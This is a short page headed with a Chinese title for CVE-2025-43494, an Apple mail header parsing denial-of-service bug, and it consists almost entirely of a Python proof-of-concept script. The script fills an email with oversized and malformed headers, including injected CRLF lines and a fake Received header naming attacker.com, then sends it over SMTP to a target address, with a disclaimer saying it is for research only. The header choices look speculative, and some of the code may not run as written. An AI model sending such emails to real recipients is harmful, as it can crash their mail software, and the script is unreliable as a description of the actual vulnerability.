CVE-2025-43494 Apple邮件头解析拒绝服务漏洞

# CVE-2025-43494 PoC - Malicious Mail Header DoS # This PoC demonstrates the mail header parsing vulnerability # Note: This is for educational and security research purposes only import smtplib from email.mime.text import MIMEText from email.header import Header def send_malicious_email(target_email, smtp_server='localhost', smtp_port=25): """ Send a malicious email with crafted headers to trigger CVE-2025-43494 """ # Craft malicious mail headers that may cause parsing issues malicious_headers = { # Long or malformed header values 'From': '[email protected]', 'To': target_email, 'Subject': Header('Test Email - CVE-2025-43494'), # Malformed Content-Type with excessive parameters 'Content-Type': 'text/plain; ' + 'charset=' + 'utf-8' * 1000 + '; ' + 'boundary=' + '-' * 5000, # Recursive/nested header injection 'X-Forwarded-For': '1.2.3.4\r\nX-Forwarded-For: 5.6.7.8\r\nX-Forwarded-For: 9.10.11.12', # Multiple Received headers 'Received': 'from attacker.com by mail.victim.com; ' + ' '.join(['fake.server.com'] * 500), # Malformed date headers 'Date': 'Mon, 01 Jan ' + '9999' * 100 + ' 00:00:00 +0000', } msg = MIMEText('Test content', 'plain', 'utf-8') # Add malicious headers for key, value in malicious_headers.items(): msg[key] = value try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.sendmail('[email protected]', target_email, msg.as_string()) print(f'[+] Malicious email sent to {target_email}') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': print('CVE-2025-43494 Mail Header DoS PoC') print('Usage: python poc.py <target_email> [smtp_server] [smtp_port]') # Example: send_malicious_email('[email protected]')